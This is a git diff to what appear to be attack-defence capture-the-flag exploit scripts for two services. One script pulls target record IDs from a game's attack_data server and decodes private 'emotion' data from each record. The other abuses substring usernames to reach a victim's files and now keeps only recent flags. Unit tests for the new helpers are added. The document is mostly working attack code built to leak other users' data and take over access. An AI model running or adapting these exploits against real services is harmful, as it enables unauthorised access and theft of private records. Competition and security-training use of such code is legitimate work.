diff --git a/braindance/sploits/test_trailer_private.py b/braindance/sploits/test_trailer_private.py new file mode 100644 index 0000000..8042b76 --- /dev/null +++ b/braindance/sploits/test_trailer_private.py @@ -0,0 +1,21 @@ +import unittest + +import trailer_private + + +class AttackDataTests(unittest.TestCase): + def test_selects_current_unique_record_ids_for_target(self) -> None: + data = { + "braindance": { + "10.80.2.2": [ + {"user": "alice", "record": "new-a"}, + {"user": "bob", "record": "new-b"}, + {"user": "alice", "record": "new-a"}, + ] + } + } + self.assertEqual(trailer_private.attack_record_ids(data, "10.80.2.2"), ["new-a", "new-b"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/braindance/sploits/trailer_private.py b/braindance/sploits/trailer_private.py index c7b197f..27f27f3 100644 --- a/braindance/sploits/trailer_private.py +++ b/braindance/sploits/trailer_private.py @@ -12,13 +12,14 @@ from __future__ import annotations import base64 import sys -from typing import Any + import requests PORT = 5000 TIMEOUT = 4 +ATTACK_DATA_URL = "http://111.88.219.93/attack_data" PRIVATE_LAYERS = "thermal,emotion" @@ -26,36 +27,34 @@ def log(message: str) -> None: print(message, file=sys.stderr, flush=True) -def gallery(session: requests.Session, base: str) -> list[dict[str, Any]]: - records: list[dict[str, Any]] = [] - before: str | None = None - while True: - params: dict[str, Any] = {"limit": 200} - if before: - params["before"] = before - response = session.get(f"{base}/gallery", params=params, timeout=TIMEOUT) - response.raise_for_status() - data = response.json() - records.extend(data.get("records", [])) - before = data.get("next_cursor") - if not before: - return records +def attack_record_ids(data: dict, target: str) -> list[str]: + seen: set[str] = set() + result: list[str] = [] + for row in data.get("braindance", {}).get(target, []): + record_id = str(row.get("record", "")) + if record_id and record_id not in seen: + seen.add(record_id) + result.append(record_id) + return result def run(target: str) -> int: session = requests.Session() session.trust_env = False base = f"http://{target}:{PORT}" - records = gallery(session, base) + attack_data = session.get(ATTACK_DATA_URL, timeout=TIMEOUT).json() + record_ids = attack_record_ids(attack_data, target) + if not record_ids: + raise RuntimeError("no braindance attack_data for target") leaked = 0 - for meta in records: - rid = str(meta["id"]) + for rid in record_ids: record_response = session.get(f"{base}/records/{rid}", timeout=TIMEOUT) if record_response.status_code == 404: continue record_response.raise_for_status() - trailer = record_response.json().get("trailer") or {} + record = record_response.json() + trailer = record.get("trailer") or {} signature = trailer.get("sig") if not signature: continue @@ -73,9 +72,9 @@ def run(target: str) -> int: continue value = base64.b64decode(emotion_b64, validate=True).decode("utf-8", "replace") leaked += 1 - print(f"{meta.get('owner', '?')} {rid}: {value}") + print(f"{record.get('owner', '?')} {rid}: {value}") - log(f"target={target} records={len(records)} leaked={leaked}") + log(f"target={target} records={len(record_ids)} leaked={leaked}") return 0 if leaked else 1 @@ -85,7 +84,7 @@ def main() -> int: return 2 try: return run(sys.argv[1]) - except (KeyError, ValueError, requests.RequestException) as exc: + except (KeyError, ValueError, RuntimeError, requests.RequestException) as exc: log(f"target={sys.argv[1]} error={exc}") return 1 diff --git a/pamsave/sploits/password_substring.py b/pamsave/sploits/password_substring.py index e4a06f1..5c9efb0 100755 --- a/pamsave/sploits/password_substring.py +++ b/pamsave/sploits/password_substring.py @@ -5,12 +5,14 @@ import secrets import string import sys from collections.abc import Iterable +from datetime import datetime, timedelta, timezone import requests ATTACK_DATA_URL = "http://111.88.219.93/attack_data" PORT = 8282 TIMEOUT = 4 +MAX_FLAG_AGE = timedelta(seconds=240) def log(message: str) -> None: @@ -43,9 +45,25 @@ def register_substring(session: requests.Session, base: str, victim: str, passwo raise RuntimeError("no available victim substring username") +def fresh_file_ids(rows: list[dict], now: datetime) -> list[str]: + cutoff = now - MAX_FLAG_AGE + result: list[str] = [] + for row in rows: + try: + created_at = datetime.fromisoformat(str(row["created_at"]).replace("Z", "+00:00")) + except (KeyError, TypeError, ValueError): + continue + if created_at.tzinfo is None: + created_at = created_at.replace(tzinfo=timezone.utc) + if created_at.astimezone(timezone.utc) >= cutoff: + result.append(str(row["id"])) + return result + + def list_files(session: requests.Session, base: str, token: str, workspace_id: str | None) -> list[str]: headers = {"Authorization": f"Bearer {token}"} file_ids: set[str] = set() + now = datetime.now(timezone.utc) endpoints = ["/my-files"] if workspace_id: endpoints.append(f"/workspace/{workspace_id}/files") @@ -63,7 +81,10 @@ def list_files(session: requests.Session, base: str, token: str, workspace_id: s rows = response.json() if not rows: break - file_ids.update(str(row["id"]) for row in rows) + current_ids = fresh_file_ids(rows, now) + file_ids.update(current_ids) + if not current_ids: + break return sorted(file_ids) diff --git a/pamsave/sploits/test_password_substring.py b/pamsave/sploits/test_password_substring.py new file mode 100644 index 0000000..f9677e0 --- /dev/null +++ b/pamsave/sploits/test_password_substring.py @@ -0,0 +1,18 @@ +import unittest +from datetime import datetime, timezone + +import password_substring + + +class FreshFileTests(unittest.TestCase): + def test_keeps_only_files_younger_than_flag_window(self) -> None: + now = datetime(2026, 11, 29, 12, 0, tzinfo=timezone.utc) + rows = [ + {"id": "fresh", "created_at": "2026-11-29T11:58:30"}, + {"id": "expired", "created_at": "2026-11-29T11:54:00"}, + ] + self.assertEqual(password_substring.fresh_file_ids(rows, now), ["fresh"]) + + +if __name__ == "__main__": + unittest.main()